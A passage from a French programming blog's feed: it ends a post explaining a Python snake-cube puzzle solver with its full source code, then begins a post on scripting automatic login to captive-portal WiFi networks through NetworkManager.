<p>Le point de départ est <code>[0, 0, 0]</code>. On se déplace d&#8217;abord de <code>2</code> sur l&#8217;axe <code>x</code>, puis de <code>1</code> sur l&#8217;axe <code>y</code>, de <code>-1</code> sur l&#8217;axe <code>x</code>, etc.<br />
Voici la représentation graphique de cette solution&nbsp;:<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2011/09/solution-cube-serpent.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/09/solution-cube-serpent-268x300.png" alt="" title="solution-cube-serpent" width="268" height="300" class="aligncenter size-medium wp-image-2972" /></a></p>
<h3>Fonctionnalités de Python</h3>
<p>Maintenant, voici quelques éléments essentiels du langage <em>Python</em> dont je me suis servi pour ce programme.</p>
<h4>Compréhension de liste</h4>
<p>La <a href="http://docs.python.org/tutorial/datastructures.html#list-comprehensions">compréhension de liste</a> (ou <a href="http://fr.wikipedia.org/wiki/G%C3%A9n%C3%A9rateur_%28informatique%29">liste en compréhension</a>) est très pratique. Je l&#8217;ai utilisée plusieurs fois dans l&#8217;algorithme. Je vais détailler deux exemples.</p>
<p>D&#8217;abord, dans la classe <code>VolumeHelper</code>&nbsp;:</p>
<pre>def all_points(self, index=0):
    if index == len(self.dimensions):
        return [[]]
    return <strong>([h] + t for h in xrange(self.dimensions[index])</strong>
            <strong>for t in self.all_points(index + 1))</strong></pre>
<p>La partie mise en gras signifie&nbsp;:</p>
<blockquote><p>tous les éléments de la forme <code>[h] + t</code> (l&#8217;élément <code>h</code> en tête de liste suivie de la queue de la liste) pour <code>h</code> compris entre <code>0</code> et <code>self.dimensions[index]</code> (un entier) et pour tout <code>t</code> compris dans les résultats de l&#8217;appel récursif</p></blockquote>
<p>Ça ne vous éclaire pas&nbsp;? Dit plus simplement&nbsp;:</p>
<blockquote><p>le résultat de la concaténation de chacun des nombres de <code>0</code> à <code>n</code> (avec <code>n = self.dimensions[index]</code>) à chacune des listes fournies par l&#8217;appel récursif</p></blockquote>
<p>En fait, cette fonction fournit tous les points possibles pour les dimensions données.<br />
Par exemple, si <code>dimensions = [2, 2]</code>, alors le résultat sera&nbsp;:</p>
<pre>[[0, 0], [0, 1], [1, 0], [1, 1]]</pre>
<p>Pour <code>dimensions = [2, 2, 3]</code>, le résultat sera&nbsp;:</p>
<pre>[[0, 0, 0], [0, 0, 1], [0, 0, 2], [0, 1, 0], [0, 1, 1], [0, 1, 2], [1,
0, 0], [1, 0, 1], [1, 0, 2], [1, 1, 0], [1, 1, 1], [1, 1, 2]]</pre>
<p>Sans compréhension de liste, il serait difficile d&#8217;écrire le corps de cette fonction en 3 lignes&nbsp;!</p>
<p><em>Remarque&nbsp;: la compréhension de liste retourne une liste si elle est définie entre <code>[]</code>, alors qu&#8217;elle retourne un <a href="http://fr.wikipedia.org/wiki/G%C3%A9n%C3%A9rateur_%28informatique%29">générateur</a> (un </em>itérateur<em>) si elle est définie entre <code>()</code>.</em></p>
<p>Second exemple, dans <code>Solver.__solve_rec(…)</code>&nbsp;:</p>
<pre>for possible_vector in <strong>( Vector(i, v)</strong>
                         <strong>for v in [ norm, -norm ]</strong>
                         <strong>for i in xrange(len(self.dimensions))</strong>
                         <strong>if i != previous_position )</strong>:</pre>
<p>Cette partie fournit un ensemble de <code>Vector(i, v)</code>, pour toutes les combinaisons de <code>i</code> et de <code>v</code> dans leurs ensembles respectifs, qui vérifient la condition (qui ici ne porte que sur <code>i</code>).<br />
En clair, ici nous récupérons tous les vecteurs possibles, c&#8217;est-à-dire orthogonaux au précédent et avec la norme (la longueur) imposée par la structure.</p>
<h4>Itérateur</h4>
<p>La notion d&#8217;<a href="http://fr.wikipedia.org/wiki/It%C3%A9rateur">itérateur</a> est présente dans beaucoup d&#8217;autres langages. Un <a href="http://docs.python.org/library/stdtypes.html#iterator-types">itérateur</a> retourne un nouvel élément à chaque appel à la méthode <code>next()</code>. En pratique, il est souvent utilisé de manière transparente dans une boucle <code>for <em>variable</em> in <em>iterator</em></code>&nbsp;:</p>
<pre>for i in xrange(10):
    print i</pre>
<p><a href="http://docs.python.org/library/functions.html#xrange"><code>xrange(…)</code></a> retourne un <em>itérateur</em> et fournit les valeurs au fur et à mesure, alors que <a href="http://docs.python.org/library/functions.html#range"><code>range(…)</code></a> crée la liste de toutes les valeurs, qui est ensuite parcourue.</p>
<h4>Yield</h4>
<p>Les <a href="http://docs.python.org/reference/expressions.html#yieldexpr">expressions yield</a> permettent de créer un <em>itérateur</em> très simplement.</p>
<p>Pour résoudre le cube-serpent, il est préférable d&#8217;une part de <strong>fournir les solutions au fur et à mesure qu&#8217;elles sont trouvées</strong>, et d&#8217;autre part <strong>de pouvoir ne calculer que les <em>k</em> premières solutions</strong>.</p>
<p>La première contrainte est souvent résolue grâce à des <a href="http://en.wikipedia.org/wiki/Callback_%28computer_science%29">callbacks</a>&nbsp;: la fonction de calcul prend en paramètre une fonction, qui sera appelée à chaque résultat trouvé, le passant alors en paramètre.</p>
<p>La seconde est plus délicate&nbsp;: elle implique que l&#8217;algorithme s&#8217;arrête dès qu&#8217;il trouve une solution, et que lors d&#8217;un prochain appel il reprenne le calcul là où il s&#8217;était arrêté, afin calculer les solutions suivantes. Cela nécessite de conserver un état. Pour un <em>itérateur</em> simple comme celui d&#8217;une liste, il suffit de stocker l&#8217;index courant de parcours, et de l&#8217;incrémenter à chaque appel à <code>next()</code>. Gérer manuellement l&#8217;itération sur les solutions du cube-serpent semble beaucoup plus complexe, d&#8217;autant plus que les solutions sont trouvées dans des appels récursifs.</p>
<p>C&#8217;est là qu&#8217;interviennent les expressions <em>yield</em>, qui répondent aux deux besoins en même temps. Utiliser une expression <em>yield</em> dans le corps d&#8217;une fonction suffit à transformer cette fonction en un <em>générateur</em>. Il n&#8217;est donc plus possible de retourner de valeur grâce à <code>return</code>.</p>
<p>Dès que l&#8217;expression <em>yield</em> est rencontrée, la valeur est transmise et l&#8217;exécution de la fonction s&#8217;arrête. Elle reprendra lors du prochain appel.</p>
<p>Afin d&#8217;utiliser ce principe pour la génération des solutions, les fonctions <code>SnakeCubeSolver.solve()</code> et <code>SnakeCubeSolver.__solve_rec(…)</code> ne sont donc pas des fonctions ordinaires, mais des <em>générateurs</em>&nbsp;:</p>
<pre>if step == len(self.structure):
    yield init_cursor, self.volume_helper.path[:]</pre>
<p>Grâce à cette implémentation, il est possible de parcourir toutes les solutions&nbsp;:</p>
<pre>for solution in solver.solve():
    print solution</pre>
<p>ou alors de ne générer que les <code>k</code> premières&nbsp;:</p>
<pre>max_solutions = 5
solutions = solver.solve()
for i in xrange(max_solutions):
    try:
        print solutions.next()
    except StopIteration:
        break</pre>
<h4>Lambdas</h4>
<p><em>Python</em> supporte aussi les expressions <a href="http://docs.python.org/reference/expressions.html#lambda">lambda</a>, issues du <a href="http://fr.wikipedia.org/wiki/Lambda-calcul">lambda-calcul</a>, qui permettent d&#8217;écrire des fonctions anonymes simplement.</p>
<p>J&#8217;utilise cette fonctionnalité une fois dans le programme&nbsp;:</p>
<pre>needed_length = reduce(<strong>lambda x, y: x * y</strong>, self.dimensions) - 1</pre>
<p>Il s&#8217;agit de la déclaration d&#8217;une fonction avec deux arguments, qui retourne leur produit.</p>
<p>La fonction <a href="http://docs.python.org/library/functions.html#reduce"><code>reduce(function, iterable, …)</code></a> permet d&#8217;appliquer cumulativement la fonction aux éléments de l&#8217;<em>iterable</em>, de gauche à droite, de manière à réduire l&#8217;<em>iterable</em> en une seule valeur.<br />
<em>Même si «&nbsp;<a href="http://fr.wikipedia.org/wiki/Nicolas_Boileau">ce qui se conçoit bien s&#8217;énonce clairement</a>&nbsp;», la fonction </em>reduce<em> est bien plus facile à comprendre qu&#8217;à expliquer en quelques mots…</em></p>
<p>Ici, donc, <code>needed_length</code> contient le produit de tous les éléments de la liste <code>self.dimensions</code>.</p>
<h3>Conclusion</h3>
<p>La résolution du cube-serpent est intéressante, tout comme sa généralisation à n&#8217;importe quel volume de dimensions quelconque. Je me suis arrêté là, mais la détection des symétries et des rotations &laquo;&nbsp;au plus tôt&nbsp;&raquo; serait une amélioration non négligeable (et pas si évidente).</p>
<p>Débutant tout juste en <em>Python</em>, ce micro-projet m&#8217;a permis de beaucoup apprendre, et de découvrir quelques bonnes surprises comme les expressions <em>yield</em> que je ne connaissais pas.</p>
<p>J&#8217;espère que ça vous a amusé aussi.</p>
<h3>Script</h3>
<p><ins datetime="2011-10-01T00:00:00+01:00">J&#8217;ai remplacé le script par sa version 0.2, qui prend en compte les symétries et les rotations.<br />
L&#8217;historique des scripts est disponible <a href="http://dl.rom1v.com/snakesolver/">ici</a>.</ins><br />
Voici le code source. Il est également disponible ici&nbsp;: <a href="http://dl.rom1v.com/snakesolver/snakesolver-0.2.1.py">snakesolver-0.2.1.py</a>.</p>
<pre>#!/usr/bin/env python
# -*- coding: UTF-8 -*-
#
# snakesolver v0.2.1, 5th october 2011
#
# changelog:
#   0.2.1
#     - get_useful_points() did not work for non-(hyper-)cubic volumes
#   0.2
#     - give all the solutions ignoring those which are equivalent by symmetry
#       or rotation
#   0.1
#     - initial version
#
# Solver for generalized snake-cube:
# http://en.wikipedia.org/wiki/Snake_cube
# http://fr.wikipedia.org/wiki/Cube_serpent
#
# By Romain Vimont (®om)
#   rom@rom1v.com

# snake structure (list of consecutives vector norms)
# Wikipedia example
SNAKE_STRUCTURE = [2, 1, 1, 2, 1, 2, 1, 1, 2, 2, 1, 1, 1, 2, 2, 2, 2]

# size of each dimension of the target volume
VOLUME_DIMENSIONS = [3, 3, 3]

# first variable names, the next will be k1, k2, k3...
VARIABLES = ['x', 'y', 'z', 't']

class Vector:

    """Base vector, with only one non-zero value."""

    def __init__(self, position, value):
        """Create a new base vector.

        Examples:
          - 2 dimensions:
              Vector(0, 2) means (2, 0)
              Vector(1, 3) means (0, 3)
          - 3 dimensions:
              Vector(0, 2) means (2, 0, 0)
              Vector(1, 3) means (0, 3, 0)
          - n dimensions:
              Vector(k, i) means (0, 0, ..., 0, i at position k, 0, ..., 0, 0)
        """
        self.position = position
        self.value = value

    @staticmethod
    def __get_variable(position):
        """Returns the variable name associated to position.

        Variable names are : ['x', 'y', 'z', 't', 'k1', 'k2', 'k3', ...].
        """
        if position &lt; len(VARIABLES):
            return VARIABLES[position]
        return 'k' + str(position - len(VARIABLES) + 1)

    @staticmethod
    def __get_canonical(number):
        """Removes the 1 if number is 1 or -1.

        Used for formatting …, -3x, -2x, -x, x, 2x, 3x, …
        """
        if number == 1:
            return ''
        if number == -1:
            return '-'
        return str(number)

    def __repr__(self):
        return Vector.__get_canonical(self.value) +\
               Vector.__get_variable(self.position)

class VolumeHelper:

    """Volume helper for the solver.

    A volume must be considered as an "hyper-volume", it can have any number of
    dimensions. For example, a volume 3x3 is a square, while a volume 3x3x3x3
    is an hypercube.

    Keep a flags volume (1 boolean per "point"), indicating if the case is
    already filled.
    """

    def __init__(self, dimensions):
        """Create a volume helper.

        Keyword arguments:
        dimensions -- the dimensions of the target volume (e.g. [3, 3, 3])
        init_cursor -- the starting position in the volume (e.g. [0, 0, 0])
        """
        self.dimensions = dimensions
        self.path = []
        self.flags = VolumeHelper.__create_volume_flags(dimensions)
        self.init_cursor = None

    def set_cursor(self, cursor):
        """Change the initial cursor position."""
        assert len(self.path) == 0, 'Changing cursor cannot happen in the ' +\
                                    'middle of a path calculation'
        if self.init_cursor is not None:
            # set to False the flag for the old cursor
            self.__set_flag(self.init_cursor, False)
        self.init_cursor = cursor[:]
        self.cursor = self.init_cursor
        self.__set_flag(self.cursor, True)

    def __get_flag(self, cursor):
        """Return the flag for the specified cursor."""
        tmp = self.flags
        # dereference n times
        for i in xrange(len(cursor)):
            tmp = tmp[cursor[i]]
        # after the last iteration, tmp contains the value
        return tmp

    def __set_flag(self, cursor, value):
        """Change the flag for the specified cursor."""
        tmp = self.flags
        for i in xrange(len(cursor) - 1):
            tmp = tmp[cursor[i]]
        tmp[cursor[-1]] = value

    def can_move(self, vector):
        """Indicates if it is possible to move the cursor by the move defined
        by the vector."""

        # the new vector will change the cursor at position vector.position,
        # adding vector.value
        # for example, if the cursor = [1, 2, 0], and vector = Vector(2, 2),
        # then cursor will take the value [1, 2, 2]
        cursor_position_value = self.cursor[vector.position]
        new_value = cursor_position_value + vector.value
        if new_value &lt; 0 or new_value &gt;= self.dimensions[vector.position]:
            # outside volume
            return False

        # copy the cursor for not modifying the real one
        future_cursor = self.cursor[:]
        if vector.value &lt; 0:
            sign = -1
        else:
            sign = 1
        for i in xrange(sign * vector.value):
            future_cursor[vector.position] += sign
            # if the flag at future_cursor is already True, then we cannot move
            # to this case, it is already filled
            if self.__get_flag(future_cursor):
                return False
        return True

    def move(self, vector):
        """Move the cursor by the vector, and updates flags and path."""
        self.path.append(vector)
        if vector.value &lt; 0:
            sign = -1
        else:
            sign = 1
        for i in xrange(sign * vector.value):
            self.cursor[vector.position] += sign
            self.__set_flag(self.cursor, True)

    def back(self):
        """Cancel the last move.

        Used for the recursivity, for avoiding to create a new flags volume for
        each recursivity step.
        """
        vector = self.path.pop()
        if vector.value &lt; 0:
            sign = -1
        else:
            sign = 1
        for i in xrange(sign * vector.value):
            self.__set_flag(self.cursor, False)
            self.cursor[vector.position] += -sign

    @staticmethod
    def __create_volume_flags(dimensions, index=0):
        """Create a multi-dimensional array filled with False values."""
        if index == len(dimensions) - 1:
            return [False] * dimensions[-1]
        return [VolumeHelper.__create_volume_flags(dimensions, index + 1)
                 for i in xrange(dimensions[index])]

    def __repr__(self):
        return repr(cube_flags)

class SymmetryHelper:

    """Symmetry helper for the solver.

    It manages equivalence classes for equivalent points and equivalent pathes
    by symmetry and/or rotation.

    As symmetries and rotations only concern permutation and inversion of
    vector components (positions), then equivalences classes concern
    dimensions.
    If x and z axis are equivalent (at a specific step), we could represent the
    equivalence classes like this: [[0, 2], [1]]. In that case, the solver
    would only try vectors on x axis, but will ignore z axis (because it is
    equivalent).
    Then, after a move, they are not equivalent anymore, then the equivalence
    classes could be represented by [[0], [1], [2]].

    But there is a far better representation for handling quickly the
    equivalence classes: a simple array, with the same length as dimensions.
    For each dimension i, the eq_classes array contains the lower index of an
    equivalent axis:
      - i if there is no axis with lower index which is equivalent;
      - j if there is an axis j with a lower index (the lowest) which is
        equivalent.
    For example, if x and z are equivalent, then eq_classes is [0, 1, 0].
    If y and z are equivalent, then eq_classes is [0, 1, 1].
    If x and y are equivalent, then eq_classes is [0, 0, 2].
    If x, y and z are equivalent, then eq_classes is [0, 0, 0].
    If none are equivalent, then eq_classes is [0, 1, 2].

    With this representation, we can easily pick only 1 vector per equivalence
    class (and ignore the others): the ones with eq_classes[i] == i.

    eq_classes_path stores the list of eq_classes used, to restore previous
    ones when calling back(). Equivalence classes at index i are always
    computed from the equivalence classes at index i-1 (except if i == 0),
    and are always "as or more splitted".
    """

    def __init__(self, dimensions):
        self.dimensions = dimensions
        # eq_classes is always eq_classes_path[-1]
        self.eq_classes = self.__create_eq_classes_from_dimensions()
        self.eq_classes_path = [self.eq_classes]

    def __create_eq_classes_from_dimensions(self):
        """Compute the first equivalences classes from the dimensions.

        The dimensions which have the same length are equivalent.
        """
        eq_classes = range(len(self.dimensions))
        for i in xrange(1, len(self.dimensions)):
            value = self.dimensions[i]
            for j in xrange(0, i):
                if self.dimensions[j] == value:
                    eq_classes[i] = j
                    break
        return eq_classes

    def set_cursor(self, cursor):
        """Change the initial cursor position."""
        # the first item in eq_classes_path is computed from the dimensions
        # the second item is computed from the init_point
        # the next items are computed from the next moves (vectors)
        assert len(self.eq_classes_path) == 1 or\
               len(self.eq_classes_path) == 2, 'Changing cursor cannot ' +\
               'happen in the middle of a path calculation'
        if len(self.eq_classes_path) == 2:
            # this is not the first initialisation, we have to remove the
            # eq_classes associated with the previous cursor
            self.eq_classes_path.pop()
        self.cursor = cursor

        # make a copy to not modify the previous one (must be immutable)
        cursor_eq_classes = self.eq_classes_path[0][:]
        for i in xrange(len(cursor_eq_classes)):
            # if the equivalence class must be splitted
            # i.e. the value for the axis has changed
            if cursor_eq_classes[i] != i and not self.__eq_cmp(
                    cursor[cursor_eq_classes[i]],\
                    cursor[i], self.dimensions[i]):
                old_class = cursor_eq_classes[i]
                cursor_eq_classes[i] = i
                # If eq_classes = [0, 0, 0], and we detected that the first
                # dimension is not equivalent anymore with the two others,
                # then the new eq_classes will be [0, 1, 1]:
                # we have to check the next dimensions to change their value
                for j in xrange(i + 1, len(cursor_eq_classes)):
                    if cursor_eq_classes[j] == old_class:
                        cursor_eq_classes[j] = i

        self.eq_classes = cursor_eq_classes
        self.eq_classes_path.append(cursor_eq_classes)
        # At this point, eq_classes_path contains two items:
        #   - the eq_class at index 0 computed only from the dimensions;
        #   - the eq_class at index 1 computed from the initial point
        #     (which splits the equivalence classes computed from the
        #     dimensions).

    def get_useful_points(self):
        """Returns one point from each equivalence class, not more.

        For example, if dimensions is [3, 3, 3], then useful points are
        [[0, 0, 0], [0, 0, 1], [0, 1, 1], [1, 1, 1]]
        which are, respectively:
        [a corner, an edge, a center, the core (middle of the cube)]
        All other points are equivalent to one point in this minimal set.
        """
        assert len(self.eq_classes_path) == 1, \
               'When computing useful points, there is only 1 eq_classes, ' +\
               'computed from the dimensions'
        # start with point 0
        for point in self.get_useful_points_rec(0, [0] * len(self.dimensions)):
            yield point

    def get_useful_points_rec(self, index, minimums):
        if index == len(self.dimensions):
            yield []
        else:
            eq_class = self.eq_classes[index]
            # We want to remove symmetry-or-rotation-equivalent-points.
            # The easiest way to achive this goal is to:
            #   - consider only one half of dimension length (+1);
            #   - always use sorted coordinates inside equivalence classes.
            #
            # For a dimension of length 3, we consider only the values 0 and 1.
            # For a dimension of length 4, we consider 0 and 1 too.
            # For a dimension of length 5, we consider 0, 1 and 2.
            #
            # Only use sorted coordinates avoid to check [0, 1] and [1, 0],
            # because they are equivalent. When building a vector, we keep a
            # "minimum" value (rather a "minimums" array, one minimum for each
            # equivalence class) to guarantee this condition.
            minimum = minimums[eq_class]
            # h is "head", t is "tail"
            for h in xrange(minimum, (self.dimensions[index] + 1) / 2):
                # change the minimum for deeper recursive calls
                minimums[eq_class] = h
                for t in self.get_useful_points_rec(index + 1, minimums):
                    yield [h] + t
            # restore the previous value
            minimums[eq_class] = minimum 

    def move(self, vector):
        """Compute the new equivalent classes after a move by the vector."""
        assert self.eq_classes[vector.position] == vector.position,\
               'A move must always concern the first vector of an ' +\
               'equivalence class'

        # create a copy of eq_classes only if it changes, else use the same
        # instance
        has_changes = False
        position = vector.position
        new_eq_classes = self.eq_classes
        new_eq_class = None
        # the axis is now alone in its equivalence class (the vector has moved
        # the cursor on this axis, but not on the others), we have to update
        # the others (if any)
        for i in xrange(position + 1, len(self.eq_classes)):
            if self.eq_classes[i] == position:
                if not has_changes:
                    has_changes = True
                    new_eq_classes = self.eq_classes[:]
                if new_eq_class is None:
                    new_eq_class = i
                new_eq_classes[i] = new_eq_class
        self.eq_classes = new_eq_classes
        self.eq_classes_path.append(new_eq_classes)

    def back(self):
        """Cancel the last move."""
        self.eq_classes_path.pop()
        self.eq_classes = self.eq_classes_path[-1]

    def must_explore(self, i):
        """Returns True if the vector position is the first in its equivalence
        class (the others will be ignored, because equivalents)"""
        return self.eq_classes[i] == i

    @staticmethod
    def __eq_cmp(p1, p2, dim):
        """Comparator which tests if two point are "equivalent" on an axis.

        Keyword arguments:
        p1 -- projection of the point 1 on the axis
        p2 -- projection of the point 2 on the axis
        dim -- length of dimension associated to the axis

        p1 and p2 are equivalent if and only if:
          -    v1 == v2 (they are at the same place)
          - or v1 + v2 + 1 = dim (they are symmetrically opposite)
        """
        return p1 == p2 or p1 + p2 + 1 == dim

class SnakeCubeSolver:

    """Solver."""

    def __init__(self, dimensions, structure):
        """Create a new solver.

        Keyword arguments:
        dimensions -- the dimensions of the target volume
                      (for example [3, 3, 3])
        structure -- the snake structure
        """
        self.dimensions = dimensions
        self.structure = structure
        self.volume_helper = VolumeHelper(dimensions)
        self.symmetry_helper = SymmetryHelper(dimensions)

    def solve(self):
        """Solve the snake.

        This function returns an iterator: the full list of solutions is not
        created."""

        # the structure length must exactly fill the target volume
        structure_length = sum(self.structure)
        needed_length = reduce(lambda x, y: x * y, self.dimensions) - 1
        if structure_length != needed_length:
            print 'Structure has not the right length (' +\
                  str(structure_length) + ' instead of ' +\
                  str(needed_length) + ')'
        else:
            for init_point in self.symmetry_helper.get_useful_points():
                # for each useful initial point (in a minimal set where no
                # points are equivalent to another)
                self.volume_helper.set_cursor(init_point)
                self.symmetry_helper.set_cursor(init_point)
                # recursively solve and yield the solutions
                for solution in self.__solve_rec(init_point[:], 0):
                    yield solution

    def __solve_rec(self, init_cursor, step):
        """Recursively solve.

        Keyword arguments:
        init_cursor -- starting point, only used to put it in found solutions
        step -- recursivity depth, index of current vector in snake structure
        """
        if step == len(self.structure):
            # a new solution is found, copy the path and yield the solution
            yield init_cursor, self.volume_helper.path[:]
        else:
            if len(self.volume_helper.path) == 0:
                # empty path, use an inexistant position (-1),
                # i != previous_position will always be True
                previous_position = -1
            else:
                previous_position = self.volume_helper.path[-1].position
            # get the vector norm for the current step
            norm = self.structure[step]
            # iterate over the next possible vectors, i.e. all vectors which
            # are orthogonal to the previous one

            for possible_vector in ( Vector(i, v)
                                     for v in [norm, -norm]
                                     for i in xrange(len(self.dimensions))
                                     if i != previous_position and
                                        self.symmetry_helper.must_explore(i)):
                if self.volume_helper.can_move(possible_vector):
                    # if it is possible to move the cursor by the vector, then
                    # move it
                    self.volume_helper.move(possible_vector)
                    # and recursively solve
                    self.symmetry_helper.move(possible_vector)
                    for solution in self.__solve_rec(init_cursor, step + 1):
                        yield solution
                    # cancel the move to put back the state of the helper
                    self.volume_helper.back()
                    self.symmetry_helper.back()

def main():
    solver = SnakeCubeSolver(VOLUME_DIMENSIONS, SNAKE_STRUCTURE)
    # print all solutions
    for solution in solver.solve():
        print solution

    # print the first solutions
#    max_solutions = 5
#    solutions = solver.solve()
#    for i in xrange(max_solutions):
#        try:
#            print solutions.next()
#        except StopIteration:
#            break
    exit(0)

if __name__ == "__main__":
    main()</pre>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2011/09/resoudre-le-cube-serpent-en-python/feed/</wfw:commentRss>
		<slash:comments>19</slash:comments>
		</item>
		<item>
		<title>Authentification automatique à un réseau WiFi avec NetworkManager</title>
		<link>http://blog.rom1v.com/2011/07/authentification-automatique-a-un-reseau-wifi-avec-networkmanager/</link>
		<comments>http://blog.rom1v.com/2011/07/authentification-automatique-a-un-reseau-wifi-avec-networkmanager/#comments</comments>
		<pubDate>Sun, 31 Jul 2011 11:43:34 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[gnome]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[réseau]]></category>
		<category><![CDATA[serveur]]></category>
		<category><![CDATA[ssh]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=2766</guid>
		<description><![CDATA[Certains réseaux WiFi sont ouverts (sans clé de sécurité) mais nécessitent une authentification. C&#8217;est souvent le cas des points d&#8217;accès dans les gares, les hôtels, les campings… Cela concerne également les réseaux ouverts tels que FreeWifi. Une fois connecté à un tel réseau, lorsqu&#8217;avec votre navigateur vous tentez d&#8217;accéder à n&#8217;importe quel site, vous êtes [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/07/wifi.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/07/wifi.png" alt="" title="wifi" width="128" height="128" class="alignright size-full wp-image-2788" /></a><br />
Certains réseaux WiFi sont ouverts (sans clé de sécurité) mais nécessitent une authentification. C&#8217;est souvent le cas des points d&#8217;accès dans les gares, les hôtels, les campings… Cela concerne également les réseaux ouverts tels que <em>FreeWifi</em>.</p>
<p>Une fois connecté à un tel réseau, lorsqu&#8217;avec votre navigateur vous tentez d&#8217;accéder à n&#8217;importe quel site, vous êtes redirigé vers une page d&#8217;authentification demandant votre identifiant et votre mot de passe (parfois il ne s&#8217;agit que d&#8217;accepter des conditions d&#8217;utilisation). Après avoir renseigné ces informations, vous êtes authentifié et pouvez accéder à Internet normalement.</p>
<p>Mais il faut avouer que s&#8217;authentifier manuellement à chaque connexion est pénible. D&#8217;autant plus que la redirection HTTP vers la page d&#8217;authentification ne fonctionne… que pour HTTP. Ainsi, alors que vous êtes connecté au réseau Wifi, votre client mail ne parviendra à récupérer les mails, votre client XMPP n&#8217;arrivera pas à se connecter au serveur… mais sans message indiquant la cause du problème.</p>
<p>Le but de ce billet est de mettre en place une authentification automatique lors de la connexion au réseau.</p>
<h3>Authentification en ligne de commande</h3>
<p>La première étape est de pouvoir réaliser cette authentification en ligne de commande, à partir de l&#8217;identifiant et du mot de passe. C&#8217;est très simple, il suffit d&#8217;imiter ce que fait le navigateur lors du clic sur le bouton <em>Valider</em>.</p>
<p>Pour cela, deux choses sont nécessaires&nbsp;: l&#8217;URL de la page de validation d&#8217;authentification et les champs de formulaire qu&#8217;elle utilise.</p>
<p>Pour les connaître, il faut regarder le code source de la page sur laquelle vous êtes redirigés, en particulier la balise <code>form</code>. Voici un exemple de ce que vous pouvez obtenir <em>(le HTML n&#8217;est pas toujours super propre sur ce genre de pages)</em>&nbsp;:</p>
<pre>&lt;form method="post" action="<strong>http://10.9.0.1:8000/</strong>"&gt;
Login &lt;input name="<strong>auth_user</strong>" type="text"&gt;
Password &lt;input name="<strong>auth_pass</strong>" type="password"&gt;
&lt;input type="checkbox" name="regagree" value="valeur" onClick="ChangeStatut(this.form)"&gt; J'accepte le règlement
&lt;input name="redirurl" type="hidden" value="http://www.google.com/search?ie=UTF-8"&gt;
&lt;input type="submit" name="<strong>accept</strong>" value="<strong>Continuer</strong>" disabled&gt;
&lt;/form&gt;</pre>
<p>Tout y est. La valeur de l&#8217;attribut <code>action</code> est l&#8217;URL de validation, et le nom des champs utilisés est dans l&#8217;attribut <code>name</code> de chaque balise <code>input</code>.</p>
<p>Dans cet exemple, seuls <code>auth_user</code> et <code>auth_pass</code> semblent utiles, mais parfois le serveur effectue des vérifications (étranges) supplémentaires. Ici, il vérifie qu&#8217;il y a bien un attribut <code>accept</code> qui vaut <code>Continuer</code> (allez savoir pourquoi).</p>
<p>À partir de ces champs, nous allons construire la chaîne des paramètres sous la forme&nbsp;:</p>
<pre>champ1=valeur1&amp;champ2=valeur2&amp;champ3=valeur3</pre>
<p>et l&#8217;envoyer au serveur en <a href="http://fr.wikipedia.org/wiki/HTTP#M.C3.A9thodes"><code>POST</code></a>, par exemple grâce à la commande <code>POST</code> <em>(en majuscules, ça surprend un peu pour une commande shell)</em>&nbsp;: </p>
<pre>POST http://10.9.0.1:8000/ &lt;&lt;&lt; 'auth_user=<em>IDENTIFIANT</em>&amp;auth_pass=<em>MOT_DE_PASSE</em>&amp;accept=Continuer'</pre>
<p>Si la page d&#8217;authentification est en HTTPS, il faudra installer le paquet <a href="apt://libcrypt-ssleay-perl">libcrypt-ssleay-perl</a>, ou alors utiliser <code>wget</code>&nbsp;:</p>
<pre>wget -qO- https://10.9.0.1:8000/ --post-data='auth_user=<em>IDENTIFIANT</em>&amp;auth_pass=<em>MOT_DE_PASSE</em>&amp;accept=Continuer'</pre>
<p>Voilà, nous avons reproduit en ligne de commande le comportement du navigateur pour l&#8217;authentification.<br />
Nous devons maintenant faire en sorte que cette commande soit exécutée dès la connexion au réseau WiFi.</p>
<h3>Exécuter un script lors de la connexion</h3>
<p><em>NetworkManager</em> (le gestionnaire de connexion par défaut d&#8217;<em>Ubuntu</em>) permet d&#8217;exécuter des scripts lors de la connexion ou la déconnexion. Pour cela, il suffit de placer le script dans <code>/etc/NetworkManager/dispatcher.d/</code> et de le rendre exécutable.</p>
<p>Le script est appelé avec deux paramètres&nbsp;:</p>
<ul>
<li><code>$1</code>&nbsp;: l&#8217;interface réseau concernée par la connexion ou la déconnexion (<code>wlan0</code> par exemple)&nbsp;;</li>
<li><code>$2</code> ayant pour valeur soit <code>up</code> (pour la connexion), soit <code>down</code> (pour la déconnection).</li>
</ul>
<p>Nous voulons exécuter la commande <code>POST</code> uniquement lors de la connexion de <code>wlan0</code>, et seulement pour le réseau concerné (par exemple celui ayant le nom <code>MonLieuDeVacances</code>).</p>
<p>Il est possible de récupérer le nom du réseau (l&#8217;ESSID) auquel nous sommes connectés grâce à <code>iwconfig</code>&nbsp;:</p>
<pre>iwconfig wlan0 | grep -o 'ESSID:".*$' | sed 's/^ESSID:"\(.*\)".*$/\1/'</pre>
<p>Il faut donc créer un script dans <code>/etc/NetworkManager/dispatcher.d/10auth</code>&nbsp;:</p>
<pre>gksudo gedit /etc/NetworkManager/dispatcher.d/10auth</pre>
<p>ayant cette structure&nbsp;:</p>
<pre>#!/bin/bash
if [ "$1 $2" = 'wlan0 up' ]
then
    essid=$(iwconfig wlan0 | grep -o 'ESSID:".*$' | sed 's/^ESSID:"\(.*\)".*$/\1/')
    case "$essid" in
        'MonLieuDeVacances')
            POST http://10.9.0.1:8000/ &lt;&lt;&lt; 'auth_user=<em>IDENTIFIANT</em>&amp;auth_pass=<em>MOT_DE_PASSE</em>&amp;accept=Continuer' ;;
        'MaGare')
            POST http://192.168.0.1 &lt;&lt;&lt; 'accept_cgu=1' ;;
    esac
fi</pre>
<p>Et le rendre exécutable&nbsp;:</p>
<pre>sudo chmod +x /etc/NetworkManager/dispatcher.d/10auth</pre>
<h3>Script pour FreeWifi</h3>
<p>Les pages d&#8217;authentification varient d&#8217;un réseau à l&#8217;autre, il faut donc adapter les paramètres de connexion selon le service utilisé.</p>
